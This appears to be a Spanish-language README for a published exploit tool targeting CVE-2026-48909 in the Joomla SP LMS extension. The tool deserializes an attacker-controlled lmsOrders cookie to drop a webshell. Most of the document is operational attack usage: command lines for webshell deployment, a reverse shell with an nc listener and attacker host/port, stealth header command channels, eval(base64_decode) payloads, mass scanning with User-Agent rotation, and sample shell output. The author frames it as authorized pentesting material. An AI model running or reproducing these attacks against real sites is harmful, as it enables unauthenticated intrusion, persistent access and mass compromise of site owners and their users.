CVE-2026-48909 - Exploit de inyección de objetos PHP no autenticada a RCE para la extensión SP LMS de Joomla en versiones <= 4.1.3. Explota la deserialización de la cookie lmsOrders para escribir un webshell mediante la cadena de gadgets FormattedtextLogger de Joomla. Incluye shell interactiva, descubrimiento de rutas y limpieza. Solo para pruebas de seguridad autorizadas.
Herramienta de prueba de concepto para CVE-2026-48909
Autor: Sudeepa Wanigarathna
[!IMPORTANT] Solo para uso autorizado. Esta herramienta está destinada a la investigación de seguridad, educación y pruebas en sistemas que poseas o para los cuales tengas permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el uso indebido.
CVE-2026-48909 es una inyección de objetos PHP no autenticada crítica en la extensión SP LMS de Joomla. Esta herramienta implementa la cadena de ataque completa para que los profesionales de seguridad puedan validar el impacto en entornos de laboratorio o autorizados.
Cubre detección, descubrimiento de rutas, entrega de payloads, post-explotación interactiva (donde esté permitido), evaluación masiva y limpieza opcional.
| Atributo | Valor |
|---|---|
| CVE ID | CVE-2026-48909 |
| CVSS | 9.5 (Crítico) |
| Vector de Ataque | Red — no autenticado |
| Impacto | Ejecución Remota de Código |
| Producto Afectado | Joomla SP LMS |
| Versiones Afectadas | 1.0.0 – 4.1.3 |
| Versión Parcheada | SP LMS 4.1.4+ |
| Cadena de Gadgets | Requiere Joomla < 5.2.2 |
| Componente | Versión | RCE |
|---|---|---|
| SP LMS | < 4.1.4 | Vulnerable |
| SP LMS | ≥ 4.1.4 | Parcheado |
| Joomla | < 5.2.2 | Cadena de gadgets utilizable |
| Joomla | ≥ 5.2.2 | Cadena de gadgets parcheada |
| Capacidad | Descripción |
|---|---|
| Explotación no autenticada | No se requieren credenciales |
| Múltiples payloads | 7 variantes de webshell / ejecución |
| Shell interactivo | Sesión con historial de comandos tras el despliegue |
| Descubrimiento de rutas | Sondeo automático de rutas escribibles |
| Limpieza | Eliminar webshell desplegada tras las pruebas |
| Capacidad | Descripción |
|---|---|
| Escaneo masivo | Listas de objetivos con múltiples hilos (1000+) |
| Soporte de proxy | HTTP/SOCKS (Burp, ZAP, etc.) |
| Reverse shell | Payloads basados en listener |
| Modo sigiloso | Canales de comandos mediante cabeceras / POST |
| Aleatorización | Nombres UUID para shells, rotación de User-Agent |
| Informes | Exportar como JSON, HTML o CSV |
| Asistencias de detección | Verificación de versión de Joomla, --check-only, --safe-mode |
cmd de Joomla cuando es posiblepipcd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
requests>=2.31.0
urllib3>=2.0.0
argparseviene incluido en la biblioteca estándar de Python; no es necesario instalarlo mediante pip.
Reemplaza
https://target.examplecon un objetivo de laboratorio o autorizado únicamente.
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
# Listener
nc -lvnp 4444
# Host de explotación
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
| Argumento | Descripción |
|---|---|
target | URL del objetivo único |
--targets, -T FILE | Archivo con objetivos (una URL por línea) |
--path PATH | Ruta absoluta en el servidor para la webshell |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | Nombre del archivo webshell (por defecto: x.php) |
| Argumento | Descripción |
|---|---|
--timeout SECONDS | Tiempo de espera de las peticiones (por defecto: 15) |
--insecure | Omitir verificación de certificados TLS |
--proxy URL | ej. http://127.0.0.1:8080 |
--random-ua | Rotar User-Agent (activado por defecto) |
--delay SECONDS | Retardo entre peticiones |
| Argumento | Descripción |
|---|---|
--reverse-host HOST | Host del listener |
--reverse-port PORT | Puerto del listener |
| Argumento | Descripción |
|---|---|
--interactive, -i | Shell interactivo tras el despliegue |
--check-only | Solo verificar vulnerabilidad |
--safe-mode | Pruebas no destructivas |
--find-path | Auto-descubrir ruta escribible |
--cmd COMMAND | Ejecutar un comando y salir |
--cleanup PATH | Eliminar webshell en la ruta especificada |
--cleanup-after | Limpiar después de la explotación |
| Argumento | Descripción |
|---|---|
--threads NUM | Hilos de trabajo (por defecto: 10) |
--export FILE | Ruta de salida para los resultados |
--export-format FORMAT | json, html, csv (por defecto: json) |
| Argumento | Descripción |
|---|---|
--log-file FILE | Escribir registros en un archivo |
--quiet, -q | Modo silencioso |
--verbose, -v | Salida verbosa |
--no-banner | Ocultar banner |
| Tipo | Comportamiento | Uso típico |
|---|---|---|
minimal | Ejecución GET compacta | Espacio limitado / prueba rápida |
standard | GET + POST cmd (por defecto) | Evaluaciones generales |
stealth | Comando mediante cabecera X-Cmd | Reducir registros de URL |
base64 | eval(base64_decode(...)) vía POST | Laboratorios de evasión de filtros |
full | GET/POST + canal base64 | Control más amplio |
reverse | Shell de conexión inversa | Acceso persistente en laboratorio |
blindshell | Patrón alternativo de inclusión/ejecución | Entornos restringidos |
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
--reverse-host 10.0.0.1 --reverse-port 4444 --find-path
flowchart TD
A["Attacker-controlled lmsOrders cookie"] --> B["unserialize() in cart.php"]
B --> C["FormattedtextLogger::__destruct()"]
C --> D["File::write() — PHP drop"]
D --> E["Webshell on disk"]
E --> F["Remote command execution"]components/com_splms/models/cart.php deserializa una cookie lmsOrders decodificada en base64.Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() desencadena una escritura en el sistema de archivos./, =, +).El filtro cmd de Joomla puede eliminar /, = y +. Esta herramienta lo compensa:
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> whoami
www-data
shell> pwd
/var/www/html
shell> exit
{
"timestamp": "2026-07-16T10:30:00.123456",
"target": "https://lab.example",
"shell_path": "/tmp/x_abc123def.php",
"shell_url": "https://lab.example/tmp/x_abc123def.php",
"shell_type": "standard",
"vulnerable": true,
"exploited": true,
"joomla_version": "4.3.2",
"detected_paths": [
"/tmp/x_abc123def.php",
"/images/x_abc123def.php",
"/cache/x_abc123def.php"
],
"author": "Sudeepa Wanigarathna",
"tool_version": "3.0"
}
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
| Síntoma | Qué probar |
|---|---|
| No se pudo generar un payload seguro para el filtro | Cambiar --path, o usar --find-path; evitar caracteres inusuales en la ruta |
| Falló la verificación de la shell | Aumentar --timeout; probar --shell-type standard; confirmar que system()/similar no esté deshabilitado; verificar escritura |
| El objetivo no parece vulnerable | SP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms presente; inspeccionar bloqueos de WAF |
| HTTP 500 | --insecure, --timeout 30, revisar registros de la aplicación/servidor |
| Rechazo de conexión del proxy | Confirmar que el proxy esté escuchando; URL/esquema/host/puerto correctos |
| Falló la verificación TLS | Agregar --insecure para endpoints de laboratorio con certificados rotos |
# Verboso + archivo de registro
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log
# A través de Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
--proxy http://127.0.0.1:8080 --insecure -v
# Primero no destructivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
exploit/
├── CVE-2026-48909 v3.0.py # Herramienta principal (v3.0)
├── requirements.txt # Dependencias de Python
├── README.md # Este archivo
└── venv/ # Virtualenv local (opcional, no se incluye en el repositorio)
Adiciones opcionales para una publicación pública:
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh
Este proyecto se proporciona tal cual para investigación defensiva de seguridad y pruebas de penetración autorizadas.
Al usar este software, aceptas que:
Si descubres esta vulnerabilidad en un entorno real, sigue las prácticas de divulgación responsable y coordina con el proveedor / CERT según corresponda.
Sudeepa Wanigarathna
Investigador de seguridad · Hacking ético · Investigación de vulnerabilidades · Herramientas Python
Solo para pruebas de seguridad autorizadas.